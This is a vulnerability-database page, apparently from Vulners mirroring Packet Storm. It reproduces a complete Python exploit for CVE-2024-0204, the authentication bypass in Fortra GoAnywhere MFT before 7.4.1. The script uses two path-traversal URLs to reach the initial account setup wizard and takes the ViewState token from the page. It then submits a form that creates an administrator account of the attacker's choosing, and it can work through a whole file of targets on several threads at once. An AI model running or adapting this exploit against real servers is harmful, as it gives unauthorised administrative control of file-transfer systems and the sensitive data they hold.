Lucene search
K

📄 Fortra GoAnywhere MFT 7.4.1 Authentication Bypass

🗓️ 29 May 2025 00:00:00Reported by IbrahimsqlType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 82 Views

Fortra GoAnywhere MFT before 7.4.1 bypasses auth via path traversal to create an admin account.

Related
Code
#!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    # Exploit Title: Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass
    # Date: 2025-05-25
    # Exploit Author: @ibrahimsql
    # Exploit Author's github: https://github.com/ibrahimsql
    # Vendor Homepage: https://www.fortra.com/products/secure-file-transfer/goanywhere-mft
    # Software Link: https://www.fortra.com/products/secure-file-transfer/goanywhere-mft/free-trial
    # Version: < 7.4.1
    # Tested on: Kali Linux 2024.1
    # CVE: CVE-2024-0204
    # Description:
    # Fortra GoAnywhere MFT versions prior to 7.4.1 contain a critical authentication bypass vulnerability
    # that allows unauthenticated attackers to create an administrator account by exploiting a path traversal
    # vulnerability to access the initial account setup wizard. This exploit demonstrates two different
    # path traversal techniques to maximize successful exploitation across various server configurations.
    #
    # References:
    # - https://old.rapid7.com/blog/post/2024/01/23/etr-cve-2024-0204-critical-authentication-bypass-in-fortra-goanywhere-mft/
    # - https://www.tenable.com/blog/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-vulnerability
    # - https://nvd.nist.gov/vuln/detail/cve-2024-0204
    
    import argparse
    import concurrent.futures
    import os
    import socket
    import sys
    from typing import List, Dict, Tuple, Optional, Union
    
    import requests
    from bs4 import BeautifulSoup
    from colorama import Fore, Style, init
    
    # Initialize colorama for cross-platform colored output
    init(autoreset=True)
    
    # Disable SSL warnings
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    
    # Constants
    DEFAULT_TIMEOUT = 10
    MAX_THREADS = 10
    USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
    PRIMARY_EXPLOIT_PATH = "/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"
    SECONDARY_EXPLOIT_PATH = "/goanywhere/..;/wizard/InitialAccountSetup.xhtml"
    
    
    class Banner:
        @staticmethod
        def show():
            banner = f"""{Fore.CYAN}
     ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██╗  ██╗       ██████╗ ██████╗  ██████╗ ██╗  ██╗
    ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██║  ██║      ██╔═████╗╚════██╗██╔═████╗██║  ██║
    ██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗██║██╔██║ █████╔╝██║██╔██║███████║
    ██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝████╔╝██║██╔═══╝ ████╔╝██║╚════██║
    ╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗     ██║      ╚██████╔╝███████╗╚██████╔╝     ██║
     ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝     ╚═╝       ╚═════╝ ╚══════╝ ╚═════╝      ╚═╝
    {Style.RESET_ALL}
    {Fore.GREEN}CVE-2024-0204 Exploit v1.0{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql{Style.RESET_ALL}
    """
            print(banner)
    
    
    class GoAnywhereExploit:
        def __init__(self, username: str, password: str, timeout: int = DEFAULT_TIMEOUT):
            self.username = username
            self.password = password
            self.timeout = timeout
            self.headers = {"User-Agent": USER_AGENT}
            self.vulnerable_targets = []
            self.non_vulnerable_targets = []
            self.error_targets = []
    
        def check_target(self, target: str) -> Dict:
            """
            Check if target is vulnerable to CVE-2024-0204 and attempt to create an admin account
            
            Args:
                target: The target URL/domain to check
                
            Returns:
                Dict containing result information
            """
            result = {
                "target": target,
                "vulnerable": False,
                "message": "",
                "admin_created": False,
                "error": None
            }
            
            # Try primary exploit path first
            primary_result = self._try_exploit_path(target, PRIMARY_EXPLOIT_PATH)
            if primary_result["vulnerable"]:
                return primary_result
                
            # If primary path failed, try secondary exploit path
            print(f"{Fore.BLUE}[*] {Style.RESET_ALL}Primary exploit path failed, trying alternative path...")
            secondary_result = self._try_exploit_path(target, SECONDARY_EXPLOIT_PATH)
            if secondary_result["vulnerable"]:
                return secondary_result
                
            # If both paths failed, target is not vulnerable
            print(f"{Fore.RED}[-] {Style.RESET_ALL}{target} - Not vulnerable to CVE-2024-0204")
            result["message"] = "Not vulnerable to CVE-2024-0204"
            self.non_vulnerable_targets.append(target)
            return result
            
        def _try_exploit_path(self, target: str, exploit_path: str) -> Dict:
            """
            Try to exploit the target using a specific exploit path
            
            Args:
                target: Target to exploit
                exploit_path: Path to use for exploitation
                
            Returns:
                Dict with exploitation results
            """
            result = {
                "target": target,
                "vulnerable": False,
                "message": "",
                "admin_created": False,
                "error": None
            }
            
            try:
                url = f"https://{target}{exploit_path}"
                session = requests.Session()
                
                # Initial check for vulnerability
                response = session.get(
                    url,
                    headers=self.headers,
                    verify=False,
                    timeout=self.timeout
                )
                
                # Determine if target is vulnerable based on response
                if response.status_code == 401:
                    print(f"{Fore.RED}[-] {Style.RESET_ALL}{target} - Not vulnerable via {exploit_path} (401 Unauthorized)")
                    result["message"] = "Not vulnerable (401 Unauthorized)"
                    return result
                
                if response.status_code != 200:
                    print(f"{Fore.YELLOW}[?] {Style.RESET_ALL}{target} - Unexpected response via {exploit_path} (Status: {response.status_code})")
                    result["message"] = f"Unexpected response (Status: {response.status_code})"
                    return result
                    
                # Target is potentially vulnerable
                print(f"{Fore.GREEN}[+] {Style.RESET_ALL}{target} - Potentially vulnerable via {exploit_path}!")
                result["vulnerable"] = True
                self.vulnerable_targets.append(target)
                
                # Extract ViewState token for the form submission
                try:
                    soup = BeautifulSoup(response.text, "html.parser")
                    view_state = soup.find('input', {'name': 'javax.faces.ViewState'})
                    
                    if not view_state or not view_state.get('value'):
                        print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}{target} - Could not extract ViewState token via {exploit_path}")
                        result["message"] = "Could not extract ViewState token"
                        return result
                    
                    # Prepare data for admin account creation
                    data = {
                        "j_id_u:creteAdminGrid:username": self.username,
                        "j_id_u:creteAdminGrid:password_hinput": self.password,
                        "j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
                        "j_id_u:creteAdminGrid:confirmPassword_hinput": self.password,
                        "j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
                        "j_id_u:creteAdminGrid:submitButton": "",
                        "createAdminForm_SUBMIT": 1,
                        "javax.faces.ViewState": view_state['value']
                    }
                    
                    # Attempt to create admin account
                    create_response = session.post(
                        url,
                        headers=self.headers,
                        data=data,
                        verify=False,
                        timeout=self.timeout
                    )
                    
                    if create_response.status_code == 200:
                        print(f"{Fore.GREEN}[+] {Style.RESET_ALL}{target} - Admin account created successfully via {exploit_path}! Username: {self.username}, Password: {self.password}")
                        result["admin_created"] = True
                        result["message"] = f"Admin account created successfully! Username: {self.username}, Password: {self.password}"
                    else:
                        print(f"{Fore.RED}[-] {Style.RESET_ALL}{target} - Failed to create admin account via {exploit_path} (Status: {create_response.status_code})")
                        result["message"] = f"Failed to create admin account (Status: {create_response.status_code})"
                
                except Exception as e:
                    print(f"{Fore.RED}[!] {Style.RESET_ALL}{target} - Error extracting form data: {str(e)}")
                    result["message"] = f"Error extracting form data: {str(e)}"
                    result["error"] = str(e)
                    
            except requests.exceptions.ConnectTimeout:
                print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}{target} - Connection timeout")
                result["message"] = "Connection timeout"
                result["error"] = "Connection timeout"
                self.error_targets.append(target)
                
            except requests.exceptions.ConnectionError:
                print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}{target} - Connection error")
                result["message"] = "Connection error"
                result["error"] = "Connection error"
                self.error_targets.append(target)
                
            except Exception as e:
                print(f"{Fore.RED}[!] {Style.RESET_ALL}{target} - Error: {str(e)}")
                result["message"] = f"Error: {str(e)}"
                result["error"] = str(e)
                self.error_targets.append(target)
                
            return result
    
        def scan_targets(self, targets: List[str]) -> None:
            """
            Scan multiple targets concurrently
            
            Args:
                targets: List of targets to scan
            """
            with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
                executor.map(self.check_target, targets)
    
        def load_targets_from_file(self, file_path: str) -> List[str]:
            """
            Load targets from a file
            
            Args:
                file_path: Path to the file containing targets
                
            Returns:
                List of targets
            """
            if not os.path.exists(file_path):
                print(f"{Fore.RED}[!] {Style.RESET_ALL}File not found: {file_path}")
                return []
                
            try:
                with open(file_path, "r") as f:
                    return [line.strip() for line in f if line.strip()]
            except Exception as e:
                print(f"{Fore.RED}[!] {Style.RESET_ALL}Error reading file: {str(e)}")
                return []
        
        def print_summary(self) -> None:
            """Print a summary of the scanning results"""
            print(f"\n{Fore.CYAN}[*] {Style.RESET_ALL}Scan Summary:")
            print(f"{Fore.GREEN}[+] {Style.RESET_ALL}Vulnerable targets: {len(self.vulnerable_targets)}")
            print(f"{Fore.RED}[-] {Style.RESET_ALL}Non-vulnerable targets: {len(self.non_vulnerable_targets)}")
            print(f"{Fore.YELLOW}[!] {Style.RESET_ALL}Error targets: {len(self.error_targets)}")
            
            if self.vulnerable_targets:
                print(f"\n{Fore.GREEN}[+] {Style.RESET_ALL}Vulnerable targets:")
                for target in self.vulnerable_targets:
                    print(f"  - {target}")
    
    
    def validate_args(args):
        """Validate command line arguments"""
        if not args.target and not args.file:
            print(f"{Fore.RED}[!] {Style.RESET_ALL}Error: You must specify either a target (-t) or a file (-f)")
            return False
            
        if args.file and not os.path.exists(args.file):
            print(f"{Fore.RED}[!] {Style.RESET_ALL}Error: File not found: {args.file}")
            return False
            
        if not args.username or not args.password:
            print(f"{Fore.RED}[!] {Style.RESET_ALL}Error: You must specify both username (-u) and password (-p)")
            return False
            
        return True
    
    
    def main():
        """Main function"""
        parser = argparse.ArgumentParser(description="CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Exploit")
        
        parser.add_argument('-t', '--target', help="Target host to check (e.g., 'example.com' or '192.168.1.1')")
        parser.add_argument('-f', '--file', help="File containing targets, one per line")
        parser.add_argument('-u', '--username', help="Username for the admin account to create")
        parser.add_argument('-p', '--password', help="Password for the admin account to create")
        parser.add_argument('--timeout', type=int, default=DEFAULT_TIMEOUT, help=f"Connection timeout in seconds (default: {DEFAULT_TIMEOUT})")
        parser.add_argument('--threads', type=int, default=MAX_THREADS, help=f"Number of concurrent threads for scanning (default: {MAX_THREADS})")
        
        args = parser.parse_args()
        
        # Show banner
        Banner.show()
        
        # Validate arguments
        if not validate_args(args):
            parser.print_help()
            sys.exit(1)
        
        # Initialize exploit
        exploit = GoAnywhereExploit(
            username=args.username,
            password=args.password,
            timeout=args.timeout
        )
        
        # Handle single target
        if args.target:
            print(f"{Fore.CYAN}[*] {Style.RESET_ALL}Checking single target: {args.target}")
            exploit.check_target(args.target)
        
        # Handle targets from file
        elif args.file:
            targets = exploit.load_targets_from_file(args.file)
            if not targets:
                print(f"{Fore.RED}[!] {Style.RESET_ALL}No valid targets found in the file")
                sys.exit(1)
                
            print(f"{Fore.CYAN}[*] {Style.RESET_ALL}Loaded {len(targets)} targets from file")
            print(f"{Fore.CYAN}[*] {Style.RESET_ALL}Starting scan with {args.threads} threads...\n")
            
            exploit.scan_targets(targets)
        
        # Print summary
        exploit.print_summary()
    
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print(f"\n{Fore.YELLOW}[!] {Style.RESET_ALL}Scan interrupted by user")
            sys.exit(0)
        except Exception as e:
            print(f"{Fore.RED}[!] {Style.RESET_ALL}Unhandled error: {str(e)}")
            sys.exit(1)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 May 2025 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 3.19.8
EPSS0.93048
SSVC
82